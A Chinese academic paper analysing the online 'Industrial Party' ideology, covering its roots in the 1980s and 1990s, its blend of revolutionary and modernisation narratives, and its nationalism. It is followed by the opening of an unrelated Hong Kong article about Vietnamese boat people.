“工业党”并不是一个边界清晰的群体,他们的思想体系也存在诸多内在张力和不确定性,只不过拥有一些共同的特征:支持中国的工业化发展,倡导工业强国、科技强国,具有鲜明的民族主义色彩。以《刷盘子》《大目标》为代表的“基干工业党”为例,他们的思想主张可大致概括为:坚持技术体系和工业体系水准决定人类社会形态发展,信奉国家至上和工业化至上理念。在经济上主张重工业优先、国有化、计划经济、独立自主的技术体系,反金融资本主义,批判自由市场;政治上偏好集中高效的体制,认可政治服务于生产力;文化上强调科学精神与工程思维,贬低农业文明和小农思维,反“情怀党”与“文艺腔”;在国际秩序上,坚持反帝国主义,展望中国作为世界领袖的未来,主张中国向第三世界输出工业化而非工业制成品。

若是跳出当代网络现象,我们就能发现“工业党”这一能指有着更加广泛的所指。工业化是现代社会理论的根本前提,从工业社会早期开始,工业主义和“技术专家治国论”就形成了强大的社会思潮,这两者与“工业党”网络思潮有着很强的联系。早在19世纪初期,昂利·圣西门(Henri de Saint- Simon)开始不定期出版《工业》杂志,促使“工业主义”一词的流行,并提出未来社会的治理者将是工程师和企业家,[丹尼尔·贝尔,高铦:《后工业社会的来临—对社会预测的一项探索》,北京:新华出版社 ,1997年版,第51页.]这一学说可被视为“技术专家治国论”之滥觞。而在实践层面上,20世纪20年代,苏联曾爆发著名的“沙赫特案件”与“工业党事件”,就是为了清算当时苏联工业部门风行的“技术专家治国”思想。[20 世纪 20 年代,苏联专业技术人员在社会主义工业化建设中发挥了重要作用,提高工程师政治地位的呼声也随之兴起,乃至强调科学技术比共产主义意识形态更加重要。1928 年“沙赫特案件”审判了一批技术厂长,该案被定性为反革命经济事件。为了进一步清除工业部门的“沙赫特分子”,1930 年又爆发了“工业党事件”,八名技术权威和经济管理部门要员被判刑,“工业党” 和“现代技术专家治国论”得到彻底的清算。可参见樊玉红 ,万长松:《20 世纪 20 年代苏联“专家治国运动”研究》,载《东北大学学报 ( 社会科学版 )》,2014年第4期,第343-348页.]20世纪60年代,赫鲁晓夫曾对苏共党组织进行了重大改组,将党自上而下一分为二划为工业党和农业党,其目的是使苏联共产党更加高效地领导工业和农业,实行专业化和克服官僚主义,结果反而给苏联的生产和生活秩序带来很多混乱和问题。[1962 年 11 月,赫鲁晓夫在执政后期对苏共的组织领导和结构进行一次重大改组,根据生产原则自上而下地成立两个党组织,即工业党和农业党,其目的是使党更加具体地领导工业和农业,实行专业化和克服官僚主义。然而,这一人为割断工农生产的领 导结构的改革却给苏联的社会生产和生活秩序带来严重的混乱和很多问题。这一改革持续了两年,直到 1964 年勃列日涅夫执政废止。可参见俞良早:《东方社会主义行进中:共产党执政与党的建设》,北京:中共中央党校出版社,2006 年版,第 150-152 页.]这些历史片段都与“工业党”思想有着谱系学意义上的联系。在当代中国网络“工业党”的构想中,修铁路开工厂的阎锡山、东非接受工业化输出的坦桑尼亚政府,都可归为“半吊子工业党”“准工业党”。[任冲昊等:《大目标:我们与这个世界的政治协商》,北京:光明日报出版社,2012年版,第228 页。 ]“工业党”思潮提供了一个样本,能够帮助我们理解民族主义与工业主义相结合的现代社会理论的民间表达。

综上所述,可以给“工业党”下一个临时定义:“工业党”并不具有正式的组织形态,而是21世纪初中国互联网上一个联系松散的知识群体和一股成分驳杂的政治思潮。其基本特征是主张用工业化程度与社会转型之间关系的知识体系处理国家发展和社会治理问题。“工业党”信奉国家至上和工业化至上的理念,以工业化和技术升级的线索翻新了社会主义建设的历史叙事;以明确的民族主义立场对抗自由派网络话语,形成了规模庞大的网络粉丝社群和亚文化。广义的“工业党”还泛指带有“技术专家治国” 和工业主义色彩的各类思潮,也指各国支持和实践工业化的技术工程人员、政党和政治力量。

“工业党”思潮在中国的发展历程基本与中国互联网新媒介的社会使用史相重叠,为我们观察新媒介技术对公共话语空间的影响提供了一个窗口。这一思潮背后的意见领袖群体多为70后、80后男性理工科知识精英,这两代人的成长生活经历与80年代、90年代宏观社会结构的剧烈变迁相映照。由此,“工业党”是理解当代中国青年历史认知与政治想象的一个抓手,也是进入当代中国网络意识形态光谱,理解实践中的公共领域动态的一个入口。我们希望通过梳理“工业党”政治理念聚焦的过程与他们发表政治理念的渠道、方式、媒介平台与互动形态,去管窥中国政治公共领域动态和中国具有主体性的政治群体的形成方式及其历史社会意涵。

二、历史转折中的“工业党”

“工业党”代表人物群体出生前后,共和国经历了最重大的历史转折—改革开放。毛泽东时代与邓小平时代的连续性和非连续性问题成为当下中国社会思潮和政治思考都很关注的核心关切之一。[甘阳:《通三统》,北京:生活·读书·新知三联书店, 2007年版,第3-49页,刘小枫:《如何认识百年共和的 历史含义》,《开放时代》, 2013年第5期,第183-193页。张旭东:《作为“主权者”的邓小平》,观察者网,http//www.guancha.cn/zhang-xu-dong/2014_08_20_257504_s.shtml,2014-08-02.习近平:《在新进中央委员会的委员、候补委员学习贯彻党的十八大精神研讨班上的讲话》,中国共产党新闻网,http//dangshi.people.com.cn/n/2013/0219/c85037-20530313.html。2013年2月,习近平执政初期就强调:“对改革开放前的历史时期要正确评价,不能用改革开放后的历史时期否定改革开放前的历史时期,也不能用改革开放前的历史时期否定改革开放后的历史时期。”习近平的讲话并非无的放矢,他所要回应的正是讲话中指出的两种思想倾向,即两个“三十年”相互否定。但在改革开放后很长一段时间里,官方媒体保持“不争论”的默契中,回避这一分歧。21世纪后,随着改革进入深水区,暗流涌动的民间舆论开始倒逼执政者处理这一基本问题。在官方表态之前,民间尤其是知识群体已经开始利用政治修辞试图抹平毛泽东与邓小平之间的分歧,尤其是在毛泽东的110周年诞辰(2003)和 120 周年诞辰(2013)、邓小平的 100 周年诞辰(2004)和 110 周年诞辰(2014)几个时间节点上,重新审视和评价毛泽东与邓小平留下的遗产成为知识群体的一大风潮.]以邓小平时代为中介进入“工业党”生活现实的毛泽东时代成为其理论、经验与蓝图不断萌生的土壤。而“工业党”大都在20世纪90年代到21世纪初期成长并接受教育,“马前卒”将80后视作“第一代生在工业时代的中国人”,并认为“这个时代特征对我们个人观点有很重要的影响”。[《工业体系建设决定我们的历史和未来》,观察者网,http//www.guancha.cn/MaPing/2012_08_20_92038shtml.]80年代和90年代的宏观社会结构性变迁是“工业党”这一代人认知结构形成的现实环境,更进一步说,这一时期的现实构成了其最主要的问题来源。由此,我们需要将“工业党”个体的生活经验、情感结构和思想体系与更广泛的社会存在及社会意识进行斯图亚特·霍尔 (Stuart Hall) 意义上的接合(articulation),最终达到以个人生活史为入口构筑社会史和社会观念史的研究目的。

(一) “文化热”与知识的人文化

“工业党”代表人物多为70后和80后,他们在观念史意义上的“父辈”是所谓的“80年代人”。 在中国,80年代往往被认为是“文化的年代”,随着经济体制改革的推行,思想限制也随之放开,在国家对社会放权所释放的言论空间中开始形成与官方意识形态不同的话语体系。日后被“工业党”所贬斥的“情怀党”或人文知识分子在这一时期逐渐兴起。

80年代中期,知识界逐渐从控诉“文革”的伤痕文学框架中走出来,围绕中西文化比较、文化与现代化关系和传统与现代冲突等核心问题展开讨论,这些问题被甘阳概括为“古今中西之争”,而在当时的甘阳看来:“中国文化与西方文化之间的地域文化差异常常被无限突出,从而掩盖中华文化本身必须从传统文化形态走向现代文化形态这一更为实质、更为根本的古今文化差异问题。”[甘阳:《古今中西之争》,北京:生活·读书·新知三联书店,2006 年版,第 35 页.]换言之,甘阳认为,“中西之争”是被夸大的,“古今之争”才是根本。李泽厚认为,当时流行的“人道主义”“思想解放”和启蒙运动接续了并创造性地转换了“五四”运动的传统。[李泽厚:《启蒙与救亡的双重变奏》,载许纪霖主编:《二十世纪中国思想史论》,上海:东方出版中心,2000年版,第 100-101 页.]80年代的知识分子急切地渴望现代化,在此语境中,“五四”的核心内涵转变为现代化的问题。“五四”运动所处的年代是中国“全盘西化”论滥觞的年代。

80 年代的知识分子将中西文化比较作为求索现代化的知识路径,而对于刚刚开放的中国而言,中苏关系仍未正常化,且苏联泥足深陷,处于劣势,西方在很大程度上成了现代化的样板。在“文化热”的背景下,国人不免产生“西方崇拜”的思想倾向。同时期的中国也经历了从“文学时代”到“电视时代” 的转型,[白惠元:《英雄变格:孙悟空与现代中国的自我超越》,北京:生活·读书·新知三联书店,2017年版,第132页. ]“文化热”中的精英们也开始借助这一媒介进行“启蒙”大众的事业,而“西化论”的巅峰之一是 1988 年央视的电视政论片《河殇》,这部片子以激进的姿态和诗化的语言,对中国传统的社会组织机制和中国人的文化心理结构进行了剖析和批判,并呼唤西方式的民主与法制,引发全国性的轰动,也预示了80年代“文化热”的最终收场。

这一时期的人文知识分子生产了繁复的话语,贺桂梅认为,80年代的突出特征之一是“能指的剩余”般的话语涌流。[贺桂梅:《1980 年代“文化热”的知识谱系与意识形态 (上)》,载《励耘学刊 (文学卷)》,2008年第1期,第 210-226页.]当时知识分子结成各类知识团体,其中影响比较大的有三家:以李泽厚、汤一介为代表的中国文化书院汇聚国学精英,旨在复兴中国传统文化;金观涛、刘青峰夫妇主编“走向未来丛书”,从控制论、信息论、系统论出发做东西方的历史比较研究;以甘阳为代表的“文化:中国与世界”编委会译介20世纪西方主流思想。值得注意的是,金观涛、刘青峰夫妇主编的“走向未来丛书”将原为系统与工程学知识的“三论”包装成人文知识用作历史比较研究,鲜活地展现了当时知识的人文化风潮。同样的人文热潮也出现在文学、美术和电影等领域。而这些话语在后来恰恰被“工业党”认为是低效乃至无用的。

80年代是“工业党”父辈的年代,如果将弗洛伊德的“弑父”情结庸俗化理解,80年代繁复的人文话语和对西方的崇拜日后将成为后一代年轻人批判、拆解和重构的对象。

(二)市场化大潮与宏大叙事的退场

随着 “文化80年代”风流云散,知识分子迎来了“市场的年代”,面临与80年代截然不同的挑战。在许纪霖看来,这一时期的知识分子面临三方面的挑战。首先是公共性的丧失,知识分子进入现代学院的知识体制,成为缺乏人文关怀的技术专家,受到功利主义和工具理性的主宰;其次是知识分子的再度边缘化,随着市场社会的出现,社会阶层发生变化并趋于多元化与发散化,新体制下的既得利益者和传媒与演艺圈中的明星成为中心;最后,知识分子还面临理论上的致命挑战,即“后现代”崛起消解了宏大叙事,在理论意义上宣告了传统知识分子的死亡。[许纪霖:《九十年代知识分子的三大挑战—关于知识分子的系列思考之六》,爱思想网http://www.aisixiang.com/data/46097. html. ]

公共知识分子暂时退场了,他们将在21世纪互联网兴起的时代回归,而90年代成为了技术专家和去意识形态化的工具理性的主场,知识开始了“去人文化”的进程。与此同时,符合市场逻辑的知识分子的文化资本迅速增值,下海经商也在知识分子中成为热潮。经济专家开始取代人文知识分子占据舞台的中心。

随着“经济”成为知识界的中心议题,社会观念中的工具理性也强势崛起,在毛泽东时代和80年代占据主导地位的意识形态、道德与理想黯然失色。“工业党”以“情怀党”为论敌,而后者正是80年代人文知识分子的苗裔。“工业党”吸收其成长于其间的90年代的精神特质,彻底摒弃了80年代生产的繁复的人文知识话语,高度强调专业性。“两个人辩论高铁问题,一个能说出标准轮距,能说出区分客运专线铁路和货运铁路的道理,而另一个不能,前者就赢了一半。”(访谈记录 A20180316)90年代是“工业党”的工具理性思维和贬斥人文知识倾向的起始年代。

随着90年代的展开,伴随着国企改制、金融资本崛起、消费主义兴起、社会阶层分化等大趋势和大变革,全面市场化改革与“工业党”的个人成长史相交叠。他们已经能够看到在经济领域学习西方造成的一些问题,比如俄罗斯经历“休克疗法”后的寡头统治、激进的国企改制造成中国北方一些城市的凋敝和严重的社会失序。缺乏战略思维的工具理性并不能餍足“工业党”这一世代对于理想世界的渴望。 由此,“工业党”不同于90年代放弃了公共性而进入学院体制的专家,他们继承了80年代的宏大叙事,在“草莽”之间仍然关心国家与社会的走向。“工业党”思潮在21世纪初同时回应了80年代和90年代的问题,完成了80年代宏大叙事与90年代工具理性的嫁接。

(三)两套工业化方案的分歧

在2004年底至2005年初“工业党”思潮萌芽阶段,军史BBS意见领袖钟庆和陈经曾就中国工业化路径的选择爆发一场长篇论战。他们有着基本的共识,即认可工业实力是国家实力的基础,工业化是国家发展的目标,但双方却对工业化路径有着不同的选择。概言之,钟庆偏好毛泽东时代重工业优先的工业化模式,国家和企业通过计划经济体制忍受巨大的艰辛积累基干工业和技术。钟庆大力批判当时甚嚣尘上的“比较优势理论”,他认为改革开放引进外资和劳动密集产业,瓦解了本国相对幼稚的重工业体系和技术力。而陈经则不排斥利用外资发展技术、引进劳动密集型产业促进经济以提升被长期压抑的居民消费水平,他批评钟庆对改革开放前经济路线的幻想过于完美,而对现实中国经济政策发展的预测过于悲观。陈经总体上认为,工业问题的本质是经济问题,经济体制改革促进了工业化的发展。

陈经与钟庆的不同主张后来演变为“工业党”的不同支流,这里姑且称之为“基干工业党”与“经济工业党”的分野。两者之间的龃龉实质上是共和国史上两个时代的非连续性问题,毛泽东与邓小平领导的虽然是同一个中国,但他们之间的差异不仅是建设方案上的区别,更是价值取向和治国理念上的分歧。毛泽东与邓小平两个时代的工业化有其内在延续性,改革开放时期工业化的发展一定程度上有赖于毛泽东时代打下的基础,尤其是比较完备的工业体系和相对高素质的劳动力。在“文革”时期,“四三方案”就已经开始了西方现成工业技术引进的预演。在某种意义上,毛泽东时代的工业建设,为改革开放后中国仍能保持独立自主的地位,而非沦为全球市场的附庸打下了坚实的基础。

但是,国防和民用两套工业体系在有限的资源之下必须有所取舍。根据历史阶段的主要矛盾,毛泽东选择前者,而邓小平偏向后者。工业化方向的调整缘于中共领导人对国内和国际基本形势的判断发生了根本性的转向。毛泽东对独立自主和国防安全的极端重视基于当时严峻的冷战形势和美苏两个超级大国的进逼,而到中国先后与美日关系正常化、勃列日涅夫的“塔什干讲话”释放了中苏关系解冻的信号, 邓小平判断“和平与发展”已成为时代的主题,而这一判断成为制定一系列路线、方针、政策的基本依据,开启了以经济建设为中心的时代。

三、革命叙事与现代化叙事之后

明晰了以上的时代背景,我们可以尝试对“工业党”话语进行政治分析。

2015年,澎湃新闻的一篇思想周报敏锐地认识到“工业党”与中国近现代史主流叙事的异同。[辛束:《工业党的历史叙事:生产力和国家赞歌》,澎湃新闻思想市场(国内思想周报),https://www.thepaper.cn/newsDetail_ forward_1304231.]该文认为,关于近现代中国的历史主流,大体上有两种不同的观察和描述,即革命叙事和现代化叙事。革命叙事基于近代中国半殖民地半封建社会的现实,将阶级斗争和革命视作历史发展的基本动力和主线,其理论基础是马克思主义关于社会基本矛盾的学说。而现代化叙事则勃兴在改革开放之后,着眼于近代中国在向西方学习的过程中完成器物、政制与文化的现代转型。

如果借用这一框架对“工业党”进行分析,我们可以发现“工业党”话语对几种叙事的杂糅与取舍。 “工业党”认同革命叙事对中国社会性质的基本判断,也认同彻底改造社会的剧烈革命,并能够接受为革命付出的代价。“工业党”还吸收了革命叙事的话语体系,如独立自主、第三世界、反帝国主义压迫等。 但是,“工业党”叙事与革命叙事的不同之处在于,弱化了传统革命叙事中的个体改造和制度改造部分的讨论,而更多强调工业化本身作为经济基础的变化对于上层建筑中的制度和文化变革带来的历史性冲击与改造。

与80年代向西方学习的现代化叙事不同,基于社会主义前期的建设经验,“工业党”强调中国工业化路径与西方工业化的时代差异。中国可以吸取西方先进技术却不能完全依赖西方,更不能复制西方对外掠夺的工业化道路,他们高度认同自力更生、独立自主的工业化路径。“工业党”将工业化与现代化叙事中的其他维度,如政治参与、思想解放与个人价值,放到比较从属的位置上,批判文人的主观唯心主义,认为历史有其客观发展规律,并不能按照“情怀党”的主观期待,发生奇迹般的变化,强调科学家和工程文化中实干兴邦、艰苦奋斗的传统。

此外,“工业党”接受了嵌入革命叙事的民族主义叙事,表现出较为强烈的民族主义和爱国主义情感, 反对帝国主义尤其是美国霸权,倡导平视乃至俯视西方的民族自信。在某种意义上,“工业党”用革命叙事的外壳包裹了工业化与民族主义的双内核。

而这种叙事的取舍,尤其是对民族主义叙事的体认,影响了“工业党”话语斗争的现实策略。“工业党”与革命叙事和现代化叙事都存在龃龉,同时反对各种“情怀党”:怀着共产主义和工人国家理想的马克思主义者或毛泽东主义者,倡导向西方学习政治民主与经济自由的“公知”与“主流经济学家”, 此外还有倡导复兴传统文化的文化保守主义者。但中国的马克思主义者脱不开民族主义的底色,所以他们与“工业党”能在民族复兴和工业化的大目标上达成共识,同时也都认为只有国有化和计划经济能够达成这一大目标,所以常常共同阻击政治领域和经济领域的自由派和西化派。至于文化保守主义者,他们或许不认同工业化的价值,而对传统文化抱有浪漫化的想象,但至少强调中华文明的主体性,所以尽管“工业党”对其没有什么认同感,却也不至于与其发生激烈的对抗。

如前所述,在消费主义开始扩张的90年代成长起来的“工业党”没有放弃对公共性与宏大叙事的追求。但是,要重构一套宏大叙事并非一件容易的事情,对于这批中国青年而言,摆在眼前有两套现成的叙事可供改造:第一是向外看,即欧美国家的政治经济方案,其主要意涵是自由民主的政治体制和自由市场与全球化的经济秩序;第二是回头看,即毛泽东时代的政治经济方案。随着90年代的实践发展,他们已经能够看到经济领域学习西方造成的一些问题。所以,他们的“父辈”选择向外看,而他们选择回头向后看,求助于毛泽东时代的理论与经验。但是,他们对毛泽东时代并非全盘接受,否则他们仅仅是邓小平时代的毛主义者,而不能成为“工业党”。

对于有志于重构共和国历史叙事的“工业党”而言,两个“三十年”的分歧同样是一个棘手的问题。为了解决这一问题,他们创造性地转换了马克思主义。毛泽东与邓小平两个时代都处于马克思主义中国化的脉络中,马克思主义是中国的价值根基所在,所以“工业党”不可能彻底抛弃。在马克思那里,生产力和生产关系是核心问题,尽管生产力决定生产关系,但生产关系在政治经济学中占据了核心中的核心地位,毛泽东与邓小平两套治国方案的根本差异也落在生产关系上。

尽管不同的“工业党”派别对共和国历史各有偏好,但作为一个整体的“工业党”摒除了在他们看来低效的共和国前期的社会理想。同时由于不认同80年代包含了政治进步和思想解放内容的现代化叙事,“工业党”也没有采用21世纪初期的“中国历史文明的连续统一”[(1) 甘阳:《通三统》,北京:生活·读书·新知三联书店,2014年版,第6页. ]这样缺乏直接可操作性的文化叙事来弥合两个时代的分歧。为了统合两个时代,他们接受了更加偏向工具理性与工程思维的、以生产力为核心问题的、与苏联模式在形式上相通的国有化、计划经济和重工业优先的建设方案,而淡化或回避了更加深刻地改造生产关系、政治制度和思想文化的政治运动,并将前者与改革开放时期的“解放生产力,发展生产力”打通,最终统合进中国崛起的宏大叙事中。“工业党”同时接受并工具性地阐释两个时代的生产关系,将生产力置于核心中的核心地位,将“现代化”和“工业化”作为新中国一以贯之的追求, 重构了宏大叙事的路径,从而取消或者回避了两个“三十年”的分歧。

四、讨论:“去政治化”年代的“再政治化”

(一)“工业党”与“小粉红”

王洪喆等人将当代中国网络民族主义大致划分为三波,第一波网络民族主义中的主体以70后大学生为主,对官方在国际关系重大事件(如印尼排华事件、北约轰炸中国驻南联盟大使馆)上的表现不满,以强国论坛、铁血社区等 BBS为阵地介入社会议题批判现实。第二波当中的网络民族主义者被称为“知情的民族主义者”,除了强烈的爱国情感外,还兼通网络与英文,能够直接接触西方媒体,对中国历史和国际秩序有着系统的、基于大国博弈的分析框架。而第三波网络民族主义的主体是新媒介商业文化环境培养的“小粉红”群体。[ 王洪喆 , 李思闽 , 吴靖:《从“迷妹”到“小粉红”:新媒介商业文化环境下的国族身份生产和动员机制研究》,载《国际新闻 界》,2016年第11期,第33-53页.]

2016 年是网络民族主义的关键性年份。这一年,“帝吧出征 Facebook”“赵薇事件”“奥运霍顿事件”“萨 德导弹事件”折射出网络民族主义已经具备了相当的舆论动员能力,同时也揭示了网络民族主义的形态转变,新媒介商业文化和中国崛起语境生产出来的“小粉红”登上公共舞台,与作为“知情的民族主义者”的“军迷”群体及“工业党”群体共同演进,各自发展。[ 同上. ]

“小粉红”成为一种“去政治化”时代与“再政治化”渴望的奇特结合。但这种新媒介商业文化生产的民族意识具有鲜明的表现形式,最为著名的就是“表情包大战”。而这种充满后现代意味的“演戏” 形式是在商业化的粉丝实践中逐步锻炼出来的,其主要特征是缺乏明确表征的、具有凝聚性和共识性的政治内核,消解意义之后并没有建立新的叙事,而其所形成的舆论动员能力可以被各种力量利用与形塑。

雷蒙·阿隆对法国“五月风暴”的评价也可以挪用到这里:“日常的沉闷生活突然得到了发泄消遣的机会。半真半假的革命,与其说是真干,还不如说是演戏,可是很能引人同情,甚至能激起人们的热情。……而人们却沉迷于错觉,自以为亲历了伟大的历史时刻。”[雷蒙·阿隆:《雷蒙·阿隆回忆录(下册)》,杨祖功译,北京:社会科学文献出版社,2017年版,第679页.]

虽然舞台上“半真半假”的“演戏”仍在继续,但这种“私密的反抗”的话语也正在遭受青年的质疑,部分人开始提出我们这个时代的困扰:当20世纪的政治组织、政治辩论、政治斗争与社会运动暂别历史后,日常生活革命何以导向真实的社会变革?从2008年到2016年这一时段的事态来看,许多群体开始转向20世纪的历史经验,“再政治化”的渴望超越后现代,有了历久弥新的内涵。世界从后现代的反抗表演往回退了一步,回头处理未完成的现代政治议题。

作为“小粉红”“兄长”一辈的“工业党”受到 90 年代工具理性的浸染,但与新媒介商业文化保持着一定的距离。他们“再政治化”的渴望并不满足于空虚的表现形式,而试图寻找凝聚的内核,召回并生产宏大叙事。“工业党”如何与“小粉红”进行有建设性的社会互动和争论?在网络技术与市场机制不断制造“部落化”的时代,他们是走入“回音壁”式的自我言说与自我强化,还是能够继续其跨媒体、跨领域的话语实践,形成更加开放多元的公共领域与社会团结?这是值得我们持续观察的。

(二)召回宏大叙事

20世纪90年代兴起的工具理性和专业主义到了2008年,已经深刻地改变了中国知识分子共同体,导致了某种历史感与超越性社会关怀匮乏的状态,这符合前述的许纪霖的时代论断,也符合汪晖关于90年代“去政治化”的基本判断。汪晖的“去政治化”指的是基于特定价值的政治组织、政治辩论、政治斗争与社会运动的丧失,同时也意味着公共性与批判性的丧失。[汪晖:《去政治化的政治: 短20世纪的终结与90年代》,北京:生活·读书·新知三联书店,2008年版,第 37-40 页.]

然而,从2008年到2018年,变革的激情似乎正在被召回。回溯50年到1968年,战后维系了二十余年的世界格局和社会结构遭遇了世界性的反叛浪潮,经历了世界大战的一代人“不仅是不愿提起过去,他们对政治许诺和宏大思想持怀疑态度,他们的注意力始终集中在物质享受、稳定和体面上,同时又稍感不安”。[ 托尼·朱特 , 林镶华:《战后欧洲史 ( 卷二 )》,北京:中信出版社,2014年版,第255页.]而他们战后成长起来的子女却召回了政治渴望与宏大叙事,在全球范围内掀起了“造反”运动,志在打破僵化的现存体制、固化的社会结构和沉闷的主流文化。

今天距冷战结束也是二十余年,恰好一代人的成长时间,我们也能看到与1968年同构的时代情绪。全世界似乎重新燃起了政治化的渴望,动摇了后冷战工具理性、个人主义、消费主义的时代趋势。2016年的美国总统大选与英国脱欧,加泰罗尼亚和库尔德的独立公投,“阿拉伯之春”后的政局动荡与叙利亚战争,还有欧洲的右翼民粹主义崛起,世界性的政治伊斯兰浪潮,摩洛哥、亚美尼亚等国家的社会抗议运动,都说明了90年代形成的稳定秩序并不足以餍足当代青年的物质需求与精神需要,打破现存秩序的渴望蓄势待发或喷薄而出,对另类社会发展方案的追求也开始超越“历史终结论”,开始了新的探索。

以2008年北京奥运会为标志,中国社会主义建设60年与改革开放30年所蓄积的政治经济力量磅礴而出,伴随着中国崛起的进程,青年一代的民族主义意识高涨。这个世代出生于“文化再启蒙”的80年代,成长于全面市场化改革的90年代,在中国互联网方兴未艾之时加入了公共话语的战场,试图求索新的理论以测定中国的历史与现实,并打开国家的未来。

所以,在某种意义上,“工业党”叙事及其“中国立场”可被视作全球政经格局与中国社会结构激变时期的一个片断。他们拆解了“父辈”的人文知识话语,又不满足于“兄辈”缺乏理想主义的工具理性,而同时他们并没有能力摆脱“父兄”的文化遗产,于是他们用自己的方式将80年代的宏大叙事与90年代的工具理性嫁接在一起,并创造性地转换了“祖辈”的革命叙事与“父兄辈”的现代化叙事,推出了属于这个世代的工业化叙事,并逐渐从边缘地带崛起走向主流。

随着互联网进入中国并蓬勃发展,为“工业党”提供了更加广阔的公共话语空间。当报纸和电视的公共话语空间被主流社会所控制,他们在 BBS、门户网站和社交媒体几个阶段展现出比前一代人更强的媒介适应性,同时大众传媒改变了这一代人的交流方式和表达方式,互联网成为他们呼朋引伴、激烈交锋的主战场,而他们也摒弃了80年代人文知识分子和90年代学院知识分子繁复的术语,开始用通俗的语言和媒体的逻辑组织公共言说的宏大叙事。

(三)政治公共领域与政治阶层的生成

在讨论现代政治制度生成或者国家转型的过程中新阶层的政治主体性和政治认同如何塑造的时候,尤尔根·哈贝马斯(Jürgen Habermas)的《公共领域的结构转型》是一个绕不开的理想模板。他以欧洲现代共和制国家形成的历史过程为经验材料,描述了资产阶级如何从受封建宫廷控制的公共领域中解放出来,在由印刷资本主义所带来的文学公共领域中塑造了资产阶级的内心和政治品格,进而在规范性的政治公共领域中采取政治行动和政治实践。[[德] 尤尔根·哈贝马斯著:《公共领域的结构转型》,曹卫东等译,上海:学林出版社,1999年版.]这一模板一度在后冷战的高潮中成为理解前社会主义国家和传统国家政治转型的标准叙事,通过公民社会组织、基金会、国际组织、自由媒体等联合互动的机制,以欧洲福利资本主义及其自由民主制度为普世价值,强势改造原有的社会结构、经济制度和政治权力关系。

然而,在全球金融危机不断蔓延,传媒和社交媒体的资本化程度加剧,传统政治代表性断裂,国家转型失败、治理危机深化和社会分裂加深等多重困境中,我们看到那种依靠强权、威权或者资本的公共领域转型在文化价值观塑造和社会认同建构中的虚弱表现。在中国,喧嚣繁荣的市场化媒体、公共知识分子的活跃、社交媒体中的众声喧哗都流于表面,并没有导向一个稳定的、有自我意识的、有主动价值认同的、有自治能力的中产阶层或者知识阶层。热闹的媒体公共领域和新兴的精英阶层,不仅没有为转型社会进入更具挑战性的政治公共领域准备一个负责任的政治阶层,从而促使社会进入更具挑战性的政治公共领域,反而由于资本、技术升级、权力、个体利益等多重原因,很快处于分崩离析和动荡不安的状态。在新阶层惶恐不安,不知如何应对中国社会政治和文化生活中新生力量崛起和新常态到来的氛围中,“工业党”从边缘地带的公共领域深耕细作、逐步汇集意见和力量,在相对健康的内部竞争和争论中,形成了某种程度上的稳定共识、话语体系和相当的群体识别度,并在主流社会产生一定的文化领导权,是一个值得研究者关注的公共领域建构的正面案例。

但我们同时应该注意到“工业党”话语的缺陷。“工业党”以反抗自由民主的“普世价值”为名兴起,他们采取的对抗策略是推出一套工业化的“普世价值”与之分庭抗礼,并把工业化价值视为放之四海而皆准的真理,他们在公共辩论中很大程度上拒绝了多元化未来社会的探讨,拒绝所有非进步主义或非现代化的观念,如宗教信仰、文化保守主义、环保主义等,在某种程度上是为了抹除工业化“普世价值”中的“异数”(访谈记录 J20180407),在“工业党”的逻辑中并不允许拒绝工业化与现代化的“变态”存在。同样的态度能够在对待民族、地域、性别等议题上找到。对于建构一个多元、宽容和平等的社会共同体来说,仅有高度的智识自信与强烈的政治渴望是不够的,即便再加上强大的舆论动员能力,对于建构一个多元、宽容和平等的社会共同体来说,进一步的文化自省和更活跃多样的政治论争亦不可或缺。

附录:研究方法

20世纪80年代,斯图亚特·霍尔(Stuart Hall)发展了“接合”概念(articulation),“接合”指的是两个不同的要素能在一定的情境下勾连形成一个统一体。简而言之,在一定历史条件下,某些话语之间,或某些社会力量之间,或话语与社会力量之间能够以并非必然永恒的方式连接在一起。本研究采取类似的方法,尝试从文本呈现的思想认知出发,将其与个人生活史(尤其是教育经历、阅读经历和媒介使用)进行勾连,从而将个人的生活经验、情感结构和思想体系与更广泛的社会存在和社会意识进行接合,最终达到以个人生活史为入口构筑社会史和社会观念史的研究目的。

本研究主要采取文本分析、深度访谈与虚拟民族志三种具体研究方法:

文本分析:对集中展现“工业党”思想体系的时政畅销书进行分析,从而概括“工业党”思潮的基本特征和话语风格,辅助的材料还包括“工业党”代表人物的社交网络发言和网络穿越小说。

深度访谈:对“工业党”代表人物或相关人物分别进行了1到3个小时的深度访谈,访谈内容主要包括其历史认知、政治经济主张、个人生活史,用以探索其思想主张形成的经验来源。

虚拟民族志:采用虚拟民族志的方法,进入 BBS、百度贴吧、网站跟帖区、微信群聊等平台,对“工业党”群体、粉丝社群和论敌进行社会身份分析并描述其群体特征,同时着重探索他们在现实和网络两个层面上的沟通与交往方式,勾勒“工业党”群体的社会网络。本研究重点在2018年3月20日至4月20日期间对某“实业党”微信群进行虚拟民族志的参与式观察。

以下为本文涉及的访谈对象名单:

编号 访谈方式 特征
A20170316 面对面 男,1976 年生,数学学士,文学博士,现从事智库工作
J20180407 微信语音电话 男,1981 年生,心理学硕士,现从事文化传媒行业工作
K20180407 微信语音电话 男,1974 年生,计算机专业硕士,现从事人工智能开发工作

【GrandNarrativeatHistory’sTurningPoint:APoliticalAnalysisoftheInternetIdeologyofChina’s“IndustrialParty”—LuNanfeng& WuJing】

不漏洞拉:你不知道的越南船民史

$
0
0

不漏洞拉:你不知道的越南船民史(上)

A+A-
1978 年 9 月 20 日一批在海中心獲救的越南船民。 圖片來源:Fred Ihrt/LightRocket via Getty Images

「不漏洞拉」四個音字,絕對是殖民時期的香港人集體回憶,即使不懂越南語亦會琅琅上口。這是當年港英政府一段越南語廣播的開場白,向越南船民解釋船民政策,由 1988 年開始一直播到 1997 年港英旗幟徐徐落下,堪稱時代見證。可是很多人除了記得「不漏洞拉」以外,都未必清楚這段與香港息息相關的歷史,而船民潮背後的政治黑幕,其實超乎外界想像。

時至今日,整理越南船民歷史的著作不多,可能因為政治敏感,資料不透明,且牽涉東南亞多國,幅員甚廣。香港出生的加拿大籍作家黃雋慧,則試圖透過 7 個越南家庭的口述歷史,加上各方資料佐證,寫成著作「不漏洞拉:越南船民的故事」,填補這一大片歷史空白。

「不漏洞拉:越南船民的故事」封面。

1975 年 4 月 30 日,美國支持的南越政權投降,越戰正式結束,北越共產政權進駐南越首都西貢,大批美國人在美軍協助下慌忙撤走,台灣和法國政府亦有撤離行動,但絕大多數越南人都無路可逃。海空交通全遭封鎖下,隨之而來,是對異見分子、舊政權公務員與軍人的清算,他們紛紛被送往勞改或思想改造。

